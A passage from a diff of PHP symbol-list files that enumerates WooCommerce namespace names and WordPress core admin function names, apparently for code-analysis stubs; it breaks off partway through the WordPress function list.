'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\Emails', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\Emails\\Schema', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\General', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\General\\Schema', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\OfflinePaymentMethods', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\OfflinePaymentMethods\\Schema', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\PaymentGateways', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\PaymentGateways\\Schema', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\Products', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\Products\\Schema', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\Tax', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\Tax\\Schema', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\ShippingZoneMethod', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\ShippingZones', + 'Automattic\\WooCommerce\\Internal\\Settings', + 'Automattic\\WooCommerce\\Internal\\ShopperLists', + 'Automattic\\WooCommerce\\Internal\\StockNotifications', + 'Automattic\\WooCommerce\\Internal\\StockNotifications\\Admin', + 'Automattic\\WooCommerce\\Internal\\StockNotifications\\AsyncTasks', + 'Automattic\\WooCommerce\\Internal\\StockNotifications\\Emails', + 'Automattic\\WooCommerce\\Internal\\StockNotifications\\Enums', + 'Automattic\\WooCommerce\\Internal\\StockNotifications\\Frontend', + 'Automattic\\WooCommerce\\Internal\\StockNotifications\\Privacy', + 'Automattic\\WooCommerce\\Internal\\StockNotifications\\Utilities', + 'Automattic\\WooCommerce\\Internal\\Traits', + 'Automattic\\WooCommerce\\Internal\\TransientFiles', + 'Automattic\\WooCommerce\\Internal\\Utilities', + 'Automattic\\WooCommerce\\Internal\\VariationGallery', + 'Automattic\\WooCommerce\\Internal\\WCCom', + 'Automattic\\WooCommerce\\LayoutTemplates', + 'Automattic\\WooCommerce\\Proxies', + 'Automattic\\WooCommerce\\RestApi', + 'Automattic\\WooCommerce\\RestApi\\Utilities', + 'Automattic\\WooCommerce\\StoreApi', + 'Automattic\\WooCommerce\\StoreApi\\Exceptions', + 'Automattic\\WooCommerce\\StoreApi\\Formatters', + 'Automattic\\WooCommerce\\StoreApi\\Payments', + 'Automattic\\WooCommerce\\StoreApi\\Routes', + 'Automattic\\WooCommerce\\StoreApi\\Routes\\V1', + 'Automattic\\WooCommerce\\StoreApi\\Routes\\V1\\AI', + 'Automattic\\WooCommerce\\StoreApi\\Routes\\V1\\Agentic', + 'Automattic\\WooCommerce\\StoreApi\\Routes\\V1\\Agentic\\Enums', + 'Automattic\\WooCommerce\\StoreApi\\Routes\\V1\\Agentic\\Messages', + 'Automattic\\WooCommerce\\StoreApi\\Schemas', + 'Automattic\\WooCommerce\\StoreApi\\Schemas\\V1', + 'Automattic\\WooCommerce\\StoreApi\\Schemas\\V1\\AI', + 'Automattic\\WooCommerce\\StoreApi\\Schemas\\V1\\Agentic', + 'Automattic\\WooCommerce\\StoreApi\\Utilities', + 'Automattic\\WooCommerce\\Utilities', + 'Automattic\\WooCommerce\\Vendor\\Detection', + 'Automattic\\WooCommerce\\Vendor\\GraphQL', + 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Error', + 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Executor', + 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Executor\\Promise', + 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Executor\\Promise\\Adapter', + 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Language', + 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Language\\AST', + 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Server', + 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Server\\Exception', + 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Type', + 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Type\\Definition', + 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Type\\Validation', + 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Utils', + 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Validator', + 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Validator\\Rules', + 'Automattic\\WooCommerce\\Vendor\\League\\ISO3166', + 'Automattic\\WooCommerce\\Vendor\\League\\ISO3166\\Exception', + 'Automattic\\WooCommerce\\Vendor\\Pelago\\Emogrifier', + 'Automattic\\WooCommerce\\Vendor\\Pelago\\Emogrifier\\Caching', + 'Automattic\\WooCommerce\\Vendor\\Pelago\\Emogrifier\\Css', + 'Automattic\\WooCommerce\\Vendor\\Pelago\\Emogrifier\\HtmlProcessor', + 'Automattic\\WooCommerce\\Vendor\\Pelago\\Emogrifier\\Utilities', + 'Automattic\\WooCommerce\\Vendor\\Psr\\Container', + 'Automattic\\WooCommerce\\Vendor\\Sabberworm\\CSS', + 'Automattic\\WooCommerce\\Vendor\\Sabberworm\\CSS\\CSSList', + 'Automattic\\WooCommerce\\Vendor\\Sabberworm\\CSS\\Comment', + 'Automattic\\WooCommerce\\Vendor\\Sabberworm\\CSS\\Parsing', + 'Automattic\\WooCommerce\\Vendor\\Sabberworm\\CSS\\Position', + 'Automattic\\WooCommerce\\Vendor\\Sabberworm\\CSS\\Property', + 'Automattic\\WooCommerce\\Vendor\\Sabberworm\\CSS\\Rule', + 'Automattic\\WooCommerce\\Vendor\\Sabberworm\\CSS\\RuleSet', + 'Automattic\\WooCommerce\\Vendor\\Sabberworm\\CSS\\Value', + 'Automattic\\WooCommerce\\Vendor\\Symfony\\Component\\CssSelector', + 'Automattic\\WooCommerce\\Vendor\\Symfony\\Component\\CssSelector\\Exception', + 'Automattic\\WooCommerce\\Vendor\\Symfony\\Component\\CssSelector\\Node', + 'Automattic\\WooCommerce\\Vendor\\Symfony\\Component\\CssSelector\\Parser', + 'Automattic\\WooCommerce\\Vendor\\Symfony\\Component\\CssSelector\\Parser\\Handler', + 'Automattic\\WooCommerce\\Vendor\\Symfony\\Component\\CssSelector\\Parser\\Shortcut', + 'Automattic\\WooCommerce\\Vendor\\Symfony\\Component\\CssSelector\\Parser\\Tokenizer', + 'Automattic\\WooCommerce\\Vendor\\Symfony\\Component\\CssSelector\\XPath', + 'Automattic\\WooCommerce\\Vendor\\Symfony\\Component\\CssSelector\\XPath\\Extension', + 'Automattic\\WooCommerce\\Vendor\\Symfony\\Polyfill\\Php80', + 'WooCommerce\\Admin', + ), +); diff --git a/symbols/wordpress.php b/symbols/wordpress.php index 0e79f11..484a658 100644 --- a/symbols/wordpress.php +++ b/symbols/wordpress.php @@ -1,5346 +1,5469 @@ - - array ( - 0 => 'trackback_response', - 1 => '_get_cron_lock', - 2 => 'do_activate_header', - 3 => 'wpmu_activate_stylesheet', - 4 => 'logIO', - 5 => 'display_header', - 6 => 'display_setup_form', - 7 => 'wp_theme_auto_update_setting_template', - 8 => 'maybe_create_table', - 9 => 'maybe_add_column', - 10 => 'maybe_drop_column', - 11 => 'check_column', - 12 => 'export_add_js', - 13 => 'export_date_options', - 14 => 'wp_nav_menu_max_depth', - 15 => 'wp_list_widgets', - 16 => '_sort_name_callback', - 17 => 'wp_list_widget_controls', - 18 => 'wp_list_widget_controls_dynamic_sidebar', - 19 => 'next_widget_id_number', - 20 => 'wp_widget_control', - 21 => 'wp_widgets_access_body_class', - 22 => 'check_upload_size', - 23 => 'wpmu_delete_blog', - 24 => 'wpmu_delete_user', - 25 => 'upload_is_user_over_quota', - 26 => 'display_space_usage', - 27 => 'fix_import_form_size', - 28 => 'upload_space_setting', - 29 => 'refresh_user_details', - 30 => 'format_code_lang', - 31 => '_access_denied_splash', - 32 => 'check_import_new_users', - 33 => 'mu_dropdown_languages', - 34 => 'site_admin_notice', - 35 => 'avoid_blog_page_permalink_collision', - 36 => 'choose_primary_blog', - 37 => 'can_edit_network', - 38 => '_thickbox_path_admin_subfolder', - 39 => 'confirm_delete_users', - 40 => 'network_settings_add_js', - 41 => 'network_edit_site_nav', - 42 => 'get_site_screen_help_tab_args', - 43 => 'get_site_screen_help_sidebar_content', - 44 => 'wp_ensure_editable_role', - 45 => 'wp_get_revision_ui_diff', - 46 => 'wp_prepare_revisions_for_js', - 47 => 'wp_print_revision_templates', - 48 => 'category_exists', - 49 => 'get_category_to_edit', - 50 => 'wp_create_category', - 51 => 'wp_create_categories', - 52 => 'wp_insert_category', - 53 => 'wp_update_category', - 54 => 'tag_exists', - 55 => 'wp_create_tag', - 56 => 'get_tags_to_edit', - 57 => 'get_terms_to_edit', - 58 => 'wp_create_term', - 59 => 'get_preferred_from_update_core', - 60 => 'get_core_updates', - 61 => 'find_core_auto_update', - 62 => 'get_core_checksums', - 63 => 'dismiss_core_update', - 64 => 'undismiss_core_update', - 65 => 'find_core_update', - 66 => 'core_update_footer', - 67 => 'update_nag', - 68 => 'update_right_now_message', - 69 => 'get_plugin_updates', - 70 => 'wp_plugin_update_rows', - 71 => 'wp_plugin_update_row', - 72 => 'get_theme_updates', - 73 => 'wp_theme_update_rows', - 74 => 'wp_theme_update_row', - 75 => 'maintenance_nag', - 76 => 'wp_print_admin_notice_templates', - 77 => 'wp_print_update_row_templates', - 78 => 'wp_recovery_mode_nag', - 79 => 'wp_is_auto_update_enabled_for_type', - 80 => 'wp_is_auto_update_forced_for_item', - 81 => 'wp_get_auto_update_message', - 82 => 'wp_dashboard_setup', - 83 => 'wp_add_dashboard_widget', - 84 => '_wp_dashboard_control_callback', - 85 => 'wp_dashboard', - 86 => 'wp_dashboard_right_now', - 87 => 'wp_network_dashboard_right_now', - 88 => 'wp_dashboard_quick_press', - 89 => 'wp_dashboard_recent_drafts', - 90 => '_wp_dashboard_recent_comments_row', - 91 => 'wp_dashboard_site_activity', - 92 => 'wp_dashboard_recent_posts', - 93 => 'wp_dashboard_recent_comments', - 94 => 'wp_dashboard_rss_output', - 95 => 'wp_dashboard_cached_rss_widget', - 96 => 'wp_dashboard_trigger_widget_control', - 97 => 'wp_dashboard_rss_control', - 98 => 'wp_dashboard_events_news', - 99 => 'wp_print_community_events_markup', - 100 => 'wp_print_community_events_templates', - 101 => 'wp_dashboard_primary', - 102 => 'wp_dashboard_primary_output', - 103 => 'wp_dashboard_quota', - 104 => 'wp_dashboard_browser_nag', - 105 => 'dashboard_browser_nag_class', - 106 => 'wp_check_browser_version', - 107 => 'wp_dashboard_php_nag', - 108 => 'dashboard_php_nag_class', - 109 => 'wp_dashboard_site_health', - 110 => 'wp_dashboard_empty', - 111 => 'wp_welcome_panel', - 112 => 'get_importers', - 113 => '_usort_by_first_member', - 114 => 'register_importer', - 115 => 'wp_import_cleanup', - 116 => 'wp_import_handle_upload', - 117 => 'wp_get_popular_importers', - 118 => '_wp_translate_postdata', - 119 => '_wp_get_allowed_postdata', - 120 => 'edit_post', - 121 => 'bulk_edit_posts', - 122 => 'get_default_post_to_edit', - 123 => 'post_exists', - 124 => 'wp_write_post', - 125 => 'write_post', - 126 => 'add_meta', - 127 => 'delete_meta', - 128 => 'get_meta_keys', - 129 => 'get_post_meta_by_id', - 130 => 'has_meta', - 131 => 'update_meta', - 132 => '_fix_attachment_links', - 133 => 'get_available_post_statuses', - 134 => 'wp_edit_posts_query', - 135 => 'wp_edit_attachments_query_vars', - 136 => 'wp_edit_attachments_query', - 137 => 'postbox_classes', - 138 => 'get_sample_permalink', - 139 => 'get_sample_permalink_html', - 140 => '_wp_post_thumbnail_html', - 141 => 'wp_check_post_lock', - 142 => 'wp_set_post_lock', - 143 => '_admin_notice_post_locked', - 144 => 'wp_create_post_autosave', - 145 => 'wp_autosave_post_revisioned_meta_fields', - 146 => 'post_preview', - 147 => 'wp_autosave', - 148 => 'redirect_post', - 149 => 'taxonomy_meta_box_sanitize_cb_checkboxes', - 150 => 'taxonomy_meta_box_sanitize_cb_input', - 151 => 'get_block_editor_server_block_settings', - 152 => 'the_block_editor_meta_boxes', - 153 => 'the_block_editor_meta_box_post_form_hidden_fields', - 154 => '_disable_block_editor_for_navigation_post_type', - 155 => '_disable_content_editor_for_navigation_post_type', - 156 => '_enable_content_editor_for_navigation_post_type', - 157 => 'PclZipUtilPathReduction', - 158 => 'PclZipUtilPathInclusion', - 159 => 'PclZipUtilCopyBlock', - 160 => 'PclZipUtilRename', - 161 => 'PclZipUtilOptionText', - 162 => 'PclZipUtilTranslateWinPath', - 163 => 'get_file_description', - 164 => 'get_home_path', - 165 => 'list_files', - 166 => 'wp_get_plugin_file_editable_extensions', - 167 => 'wp_get_theme_file_editable_extensions', - 168 => 'wp_print_file_editor_templates', - 169 => 'wp_edit_theme_plugin_file', - 170 => 'wp_tempnam', - 171 => 'validate_file_to_edit', - 172 => '_wp_handle_upload', - 173 => 'wp_handle_upload', - 174 => 'wp_handle_sideload', - 175 => 'download_url', - 176 => 'verify_file_md5', - 177 => 'verify_file_signature', - 178 => 'wp_trusted_keys', - 179 => 'wp_zip_file_is_valid', - 180 => 'unzip_file', - 181 => '_unzip_file_ziparchive', - 182 => '_unzip_file_pclzip', - 183 => 'copy_dir', - 184 => 'move_dir', - 185 => 'WP_Filesystem', - 186 => 'get_filesystem_method', - 187 => 'request_filesystem_credentials', - 188 => 'wp_print_request_filesystem_credentials_modal', - 189 => 'wp_opcache_invalidate', - 190 => 'wp_opcache_invalidate_directory', - 191 => 'export_wp', - 192 => 'get_plugin_data', - 193 => '_get_plugin_data_markup_translate', - 194 => 'get_plugin_files', - 195 => 'get_plugins', - 196 => 'get_mu_plugins', - 197 => '_sort_uname_callback', - 198 => 'get_dropins', - 199 => '_get_dropins', - 200 => 'is_plugin_active', - 201 => 'is_plugin_inactive', - 202 => 'is_plugin_active_for_network', - 203 => 'is_network_only_plugin', - 204 => 'activate_plugin', - 205 => 'deactivate_plugins', - 206 => 'activate_plugins', - 207 => 'delete_plugins', - 208 => 'validate_active_plugins', - 209 => 'validate_plugin', - 210 => 'validate_plugin_requirements', - 211 => 'is_uninstallable_plugin', - 212 => 'uninstall_plugin', - 213 => 'add_menu_page', - 214 => 'add_submenu_page', - 215 => 'add_management_page', - 216 => 'add_options_page', - 217 => 'add_theme_page', - 218 => 'add_plugins_page', - 219 => 'add_users_page', - 220 => 'add_dashboard_page', - 221 => 'add_posts_page', - 222 => 'add_media_page', - 223 => 'add_links_page', - 224 => 'add_pages_page', - 225 => 'add_comments_page', - 226 => 'remove_menu_page', - 227 => 'remove_submenu_page', - 228 => 'menu_page_url', - 229 => 'get_admin_page_parent', - 230 => 'get_admin_page_title', - 231 => 'get_plugin_page_hook', - 232 => 'get_plugin_page_hookname', - 233 => 'user_can_access_admin_page', - 234 => 'option_update_filter', - 235 => 'add_allowed_options', - 236 => 'remove_allowed_options', - 237 => 'settings_fields', - 238 => 'wp_clean_plugins_cache', - 239 => 'plugin_sandbox_scrape', - 240 => 'wp_add_privacy_policy_content', - 241 => 'is_plugin_paused', - 242 => 'wp_get_plugin_error', - 243 => 'resume_plugin', - 244 => 'paused_plugins_notice', - 245 => 'deactivated_plugins_notice', - 246 => 'delete_theme', - 247 => 'get_page_templates', - 248 => '_get_template_edit_filename', - 249 => 'theme_update_available', - 250 => 'get_theme_update_available', - 251 => 'get_theme_feature_list', - 252 => 'themes_api', - 253 => 'wp_prepare_themes_for_js', - 254 => 'customize_themes_print_templates', - 255 => 'is_theme_paused', - 256 => 'wp_get_theme_error', - 257 => 'resume_theme', - 258 => 'paused_themes_notice', - 259 => 'add_user', - 260 => 'edit_user', - 261 => 'get_editable_roles', - 262 => 'get_user_to_edit', - 263 => 'get_users_drafts', - 264 => 'wp_delete_user', - 265 => 'wp_revoke_user', - 266 => 'default_password_nag_handler', - 267 => 'default_password_nag_edit_user', - 268 => 'default_password_nag', - 269 => 'delete_users_add_js', - 270 => 'use_ssl_preference', - 271 => 'admin_created_user_email', - 272 => 'wp_is_authorize_application_password_request_valid', - 273 => 'wp_is_authorize_application_redirect_url_valid', - 274 => 'update_core', - 275 => '_preload_old_requests_classes_and_interfaces', - 276 => '_redirect_to_about_wordpress', - 277 => '_upgrade_422_remove_genericons', - 278 => '_upgrade_422_find_genericons_files_in_folder', - 279 => '_upgrade_440_force_deactivate_incompatible_plugins', - 280 => '_upgrade_core_deactivate_incompatible_plugins', - 281 => '_get_list_table', - 282 => 'register_column_headers', - 283 => 'print_column_headers', - 284 => 'wpmu_menu', - 285 => 'wpmu_checkAvailableSpace', - 286 => 'mu_options', - 287 => 'activate_sitewide_plugin', - 288 => 'deactivate_sitewide_plugin', - 289 => 'is_wpmu_sitewide_plugin', - 290 => 'get_site_allowed_themes', - 291 => 'wpmu_get_blog_allowedthemes', - 292 => 'ms_deprecated_blogs_file', - 293 => 'install_global_terms', - 294 => 'sync_category_tag_slugs', - 295 => '_wp_privacy_resend_request', - 296 => '_wp_privacy_completed_request', - 297 => '_wp_personal_data_handle_actions', - 298 => '_wp_personal_data_cleanup_requests', - 299 => 'wp_privacy_generate_personal_data_export_group_html', - 300 => 'wp_privacy_generate_personal_data_export_file', - 301 => 'wp_privacy_send_personal_data_export_email', - 302 => 'wp_privacy_process_personal_data_export_page', - 303 => 'wp_privacy_process_personal_data_erasure_page', - 304 => 'post_submit_meta_box', - 305 => 'attachment_submit_meta_box', - 306 => 'post_format_meta_box', - 307 => 'post_tags_meta_box', - 308 => 'post_categories_meta_box', - 309 => 'post_excerpt_meta_box', - 310 => 'post_trackback_meta_box', - 311 => 'post_custom_meta_box', - 312 => 'post_comment_status_meta_box', - 313 => 'post_comment_meta_box_thead', - 314 => 'post_comment_meta_box', - 315 => 'post_slug_meta_box', - 316 => 'post_author_meta_box', - 317 => 'post_revisions_meta_box', - 318 => 'page_attributes_meta_box', - 319 => 'link_submit_meta_box', - 320 => 'link_categories_meta_box', - 321 => 'link_target_meta_box', - 322 => 'xfn_check', - 323 => 'link_xfn_meta_box', - 324 => 'link_advanced_meta_box', - 325 => 'post_thumbnail_meta_box', - 326 => 'attachment_id3_data_meta_box', - 327 => 'register_and_do_post_meta_boxes', - 328 => 'wp_install', - 329 => 'wp_install_defaults', - 330 => 'wp_install_maybe_enable_pretty_permalinks', - 331 => 'wp_new_blog_notification', - 332 => 'wp_upgrade', - 333 => 'upgrade_all', - 334 => 'upgrade_100', - 335 => 'upgrade_101', - 336 => 'upgrade_110', - 337 => 'upgrade_130', - 338 => 'upgrade_160', - 339 => 'upgrade_210', - 340 => 'upgrade_230', - 341 => 'upgrade_230_options_table', - 342 => 'upgrade_230_old_tables', - 343 => 'upgrade_old_slugs', - 344 => 'upgrade_250', - 345 => 'upgrade_252', - 346 => 'upgrade_260', - 347 => 'upgrade_270', - 348 => 'upgrade_280', - 349 => 'upgrade_290', - 350 => 'upgrade_300', - 351 => 'upgrade_330', - 352 => 'upgrade_340', - 353 => 'upgrade_350', - 354 => 'upgrade_370', - 355 => 'upgrade_372', - 356 => 'upgrade_380', - 357 => 'upgrade_400', - 358 => 'upgrade_420', - 359 => 'upgrade_430', - 360 => 'upgrade_430_fix_comments', - 361 => 'upgrade_431', - 362 => 'upgrade_440', - 363 => 'upgrade_450', - 364 => 'upgrade_460', - 365 => 'upgrade_500', - 366 => 'upgrade_510', - 367 => 'upgrade_530', - 368 => 'upgrade_550', - 369 => 'upgrade_560', - 370 => 'upgrade_590', - 371 => 'upgrade_600', - 372 => 'upgrade_630', - 373 => 'upgrade_640', - 374 => 'upgrade_650', - 375 => 'upgrade_670', - 376 => 'upgrade_682', - 377 => 'upgrade_700', - 378 => 'upgrade_network', - 380 => 'drop_index', - 381 => 'add_clean_index', - 383 => 'maybe_convert_table_to_utf8mb4', - 384 => 'get_alloptions_110', - 385 => '__get_option', - 386 => 'deslash', - 387 => 'dbDelta', - 388 => 'make_db_current', - 389 => 'make_db_current_silent', - 390 => 'make_site_theme_from_oldschool', - 391 => 'make_site_theme_from_default', - 392 => 'make_site_theme', - 393 => 'translate_level_to_role', - 394 => 'wp_check_mysql_version', - 395 => 'maybe_disable_automattic_widgets', - 396 => 'maybe_disable_link_manager', - 397 => 'pre_schema_upgrade', - 398 => 'wp_should_upgrade_global_tables', - 399 => 'get_column_headers', - 400 => 'get_hidden_columns', - 401 => 'meta_box_prefs', - 402 => 'get_hidden_meta_boxes', - 403 => 'add_screen_option', - 404 => 'get_current_screen', - 405 => 'set_current_screen', - 406 => 'add_cssclass', - 407 => 'add_menu_classes', - 408 => 'sort_menu', - 409 => 'wp_ajax_nopriv_heartbeat', - 410 => 'wp_ajax_fetch_list', - 411 => 'wp_ajax_ajax_tag_search', - 412 => 'wp_ajax_wp_compression_test', - 413 => 'wp_ajax_imgedit_preview', - 414 => 'wp_ajax_oembed_cache', - 415 => 'wp_ajax_autocomplete_user', - 416 => 'wp_ajax_get_community_events', - 417 => 'wp_ajax_dashboard_widgets', - 418 => 'wp_ajax_logged_in', - 419 => '_wp_ajax_delete_comment_response', - 420 => '_wp_ajax_add_hierarchical_term', - 421 => 'wp_ajax_delete_comment', - 422 => 'wp_ajax_delete_tag', - 423 => 'wp_ajax_delete_link', - 424 => 'wp_ajax_delete_meta', - 425 => 'wp_ajax_delete_post', - 426 => 'wp_ajax_trash_post', - 427 => 'wp_ajax_untrash_post', - 428 => 'wp_ajax_delete_page', - 429 => 'wp_ajax_dim_comment', - 430 => 'wp_ajax_add_link_category', - 431 => 'wp_ajax_add_tag', - 432 => 'wp_ajax_get_tagcloud', - 433 => 'wp_ajax_get_comments', - 434 => 'wp_ajax_replyto_comment', - 435 => 'wp_ajax_edit_comment', - 436 => 'wp_ajax_add_menu_item', - 437 => 'wp_ajax_add_meta', - 438 => 'wp_ajax_add_user', - 439 => 'wp_ajax_closed_postboxes', - 440 => 'wp_ajax_hidden_columns', - 441 => 'wp_ajax_update_welcome_panel', - 442 => 'wp_ajax_menu_get_metabox', - 443 => 'wp_ajax_wp_link_ajax', - 444 => 'wp_ajax_menu_locations_save', - 445 => 'wp_ajax_meta_box_order', - 446 => 'wp_ajax_menu_quick_search', - 447 => 'wp_ajax_get_permalink', - 448 => 'wp_ajax_sample_permalink', - 449 => 'wp_ajax_inline_save', - 450 => 'wp_ajax_inline_save_tax', - 451 => 'wp_ajax_find_posts', - 452 => 'wp_ajax_widgets_order', - 453 => 'wp_ajax_save_widget', - 454 => 'wp_ajax_update_widget', - 455 => 'wp_ajax_delete_inactive_widgets', - 456 => 'wp_ajax_media_create_image_subsizes', - 457 => 'wp_ajax_upload_attachment', - 458 => 'wp_ajax_image_editor', - 459 => 'wp_ajax_set_post_thumbnail', - 460 => 'wp_ajax_get_post_thumbnail_html', - 461 => 'wp_ajax_set_attachment_thumbnail', - 462 => 'wp_ajax_date_format', - 463 => 'wp_ajax_time_format', - 464 => 'wp_ajax_wp_fullscreen_save_post', - 465 => 'wp_ajax_wp_remove_post_lock', - 466 => 'wp_ajax_dismiss_wp_pointer', - 467 => 'wp_ajax_get_attachment', - 468 => 'wp_ajax_query_attachments', - 469 => 'wp_ajax_save_attachment', - 470 => 'wp_ajax_save_attachment_compat', - 471 => 'wp_ajax_save_attachment_order', - 472 => 'wp_ajax_send_attachment_to_editor', - 473 => 'wp_ajax_send_link_to_editor', - 474 => 'wp_ajax_heartbeat', - 475 => 'wp_ajax_get_revision_diffs', - 476 => 'wp_ajax_save_user_color_scheme', - 477 => 'wp_ajax_query_themes', - 478 => 'wp_ajax_parse_embed', - 479 => 'wp_ajax_parse_media_shortcode', - 480 => 'wp_ajax_destroy_sessions', - 481 => 'wp_ajax_crop_image', - 482 => 'wp_ajax_generate_password', - 483 => 'wp_ajax_nopriv_generate_password', - 484 => 'wp_ajax_save_wporg_username', - 485 => 'wp_ajax_install_theme', - 486 => 'wp_ajax_update_theme', - 487 => 'wp_ajax_delete_theme', - 488 => 'wp_ajax_install_plugin', - 489 => 'wp_ajax_activate_plugin', - 490 => 'wp_ajax_update_plugin', - 491 => 'wp_ajax_delete_plugin', - 492 => 'wp_ajax_search_plugins', - 493 => 'wp_ajax_search_install_plugins', - 494 => 'wp_ajax_edit_theme_plugin_file', - 495 => 'wp_ajax_wp_privacy_export_personal_data', - 496 => 'wp_ajax_wp_privacy_erase_personal_data', - 497 => 'wp_ajax_health_check_dotorg_communication', - 498 => 'wp_ajax_health_check_background_updates', - 499 => 'wp_ajax_health_check_loopback_requests', - 500 => 'wp_ajax_health_check_site_status_result', - 501 => 'wp_ajax_health_check_get_sizes', - 502 => 'wp_ajax_rest_nonce', - 503 => 'wp_ajax_toggle_auto_updates', - 504 => 'wp_ajax_send_password_reset', - 505 => 'add_link', - 506 => 'edit_link', - 507 => 'get_default_link_to_edit', - 508 => 'wp_delete_link', - 509 => 'wp_get_link_cats', - 510 => 'get_link_to_edit', - 511 => 'wp_insert_link', - 512 => 'wp_set_link_cats', - 513 => 'wp_update_link', - 514 => 'wp_link_manager_disabled_message', - 515 => 'install_themes_feature_list', - 516 => 'install_theme_search_form', - 517 => 'install_themes_dashboard', - 518 => 'install_themes_upload', - 519 => 'display_theme', - 520 => 'display_themes', - 521 => 'install_theme_information', - 522 => 'plugins_api', - 523 => 'install_popular_tags', - 524 => 'install_dashboard', - 525 => 'install_search_form', - 526 => 'install_plugins_upload', - 527 => 'install_plugins_favorites_form', - 528 => 'display_plugins_table', - 529 => 'install_plugin_install_status', - 530 => 'install_plugin_information', - 531 => 'wp_get_plugin_action_button', - 532 => 'comment_exists', - 533 => 'edit_comment', - 534 => 'get_comment_to_edit', - 535 => 'get_pending_comments_num', - 536 => 'floated_admin_avatar', - 537 => 'enqueue_comment_hotkeys_js', - 538 => 'comment_footer_die', - 539 => '_wp_ajax_menu_quick_search', - 540 => 'wp_nav_menu_setup', - 541 => 'wp_initial_nav_menu_meta_boxes', - 542 => 'wp_nav_menu_post_type_meta_boxes', - 543 => 'wp_nav_menu_taxonomy_meta_boxes', - 544 => 'wp_nav_menu_disabled_check', - 545 => 'wp_nav_menu_item_link_meta_box', - 546 => 'wp_nav_menu_item_post_type_meta_box', - 547 => 'wp_nav_menu_item_taxonomy_meta_box', - 548 => 'wp_save_nav_menu_items', - 549 => '_wp_nav_menu_meta_box_object', - 550 => 'wp_get_nav_menu_to_edit', - 551 => 'wp_nav_menu_manage_columns', - 552 => '_wp_delete_orphaned_draft_menu_items', - 553 => 'wp_nav_menu_update_menu_items', - 554 => '_wp_expand_nav_menu_post_data', - 555 => 'options_discussion_add_js', - 556 => 'options_general_add_js', - 557 => 'options_reading_add_js', - 558 => 'options_reading_blog_charset', - 559 => 'translations_api', - 560 => 'wp_get_available_translations', - 561 => 'wp_install_language_form', - 562 => 'wp_download_language_pack', - 563 => 'wp_can_install_language_pack', - 564 => 'get_cli_args', - 565 => 'wp_get_db_schema', - 566 => 'populate_options', - 567 => 'populate_roles', - 568 => 'populate_roles_160', - 569 => 'populate_roles_210', - 570 => 'populate_roles_230', - 571 => 'populate_roles_250', - 572 => 'populate_roles_260', - 573 => 'populate_roles_270', - 574 => 'populate_roles_280', - 575 => 'populate_roles_300', - 576 => 'install_network', - 577 => 'populate_network', - 578 => 'populate_network_meta', - 579 => 'populate_site_meta', - 580 => 'wp_credits', - 581 => '_wp_credits_add_profile_link', - 582 => '_wp_credits_build_object_link', - 583 => 'wp_credits_section_title', - 584 => 'wp_credits_section_list', - 585 => 'network_domain_check', - 586 => 'allow_subdomain_install', - 587 => 'allow_subdirectory_install', - 588 => 'get_clean_basedomain', - 589 => 'network_step1', - 590 => 'network_step2', - 591 => 'wp_image_editor', - 592 => 'wp_stream_image', - 593 => 'wp_save_image_file', - 594 => '_image_get_preview_ratio', - 595 => '_rotate_image_resource', - 596 => '_flip_image_resource', - 597 => '_crop_image_resource', - 598 => 'image_edit_apply_changes', - 599 => 'stream_preview_image', - 600 => 'wp_restore_image', - 601 => 'wp_save_image', - 602 => 'wp_category_checklist', - 603 => 'wp_terms_checklist', - 604 => 'wp_popular_terms_checklist', - 605 => 'wp_link_category_checklist', - 606 => 'get_inline_data', - 607 => 'wp_comment_reply', - 608 => 'wp_comment_trashnotice', - 609 => 'list_meta', - 610 => '_list_meta_row', - 611 => 'meta_form', - 612 => 'touch_time', - 613 => 'page_template_dropdown', - 614 => 'parent_dropdown', - 615 => 'wp_dropdown_roles', - 616 => 'wp_import_upload_form', - 617 => 'add_meta_box', - 618 => 'do_block_editor_incompatible_meta_box', - 619 => '_get_plugin_from_callback', - 620 => 'do_meta_boxes', - 621 => 'remove_meta_box', - 622 => 'do_accordion_sections', - 623 => 'add_settings_section', - 624 => 'add_settings_field', - 625 => 'do_settings_sections', - 626 => 'do_settings_fields', - 627 => 'add_settings_error', - 628 => 'get_settings_errors', - 629 => 'settings_errors', - 630 => 'find_posts_div', - 631 => 'the_post_password', - 632 => '_draft_or_post_title', - 633 => '_admin_search_query', - 634 => 'iframe_header', - 635 => 'iframe_footer', - 636 => '_post_states', - 637 => 'get_post_states', - 638 => '_media_states', - 639 => 'get_media_states', - 640 => 'compression_test', - 641 => 'submit_button', - 642 => 'get_submit_button', - 643 => '_wp_admin_html_begin', - 644 => 'convert_to_screen', - 645 => '_local_storage_notice', - 646 => 'wp_star_rating', - 647 => '_wp_posts_page_notice', - 648 => '_wp_block_editor_posts_page_notice', - 649 => 'media_upload_tabs', - 650 => 'update_gallery_tab', - 651 => 'the_media_upload_tabs', - 652 => 'get_image_send_to_editor', - 653 => 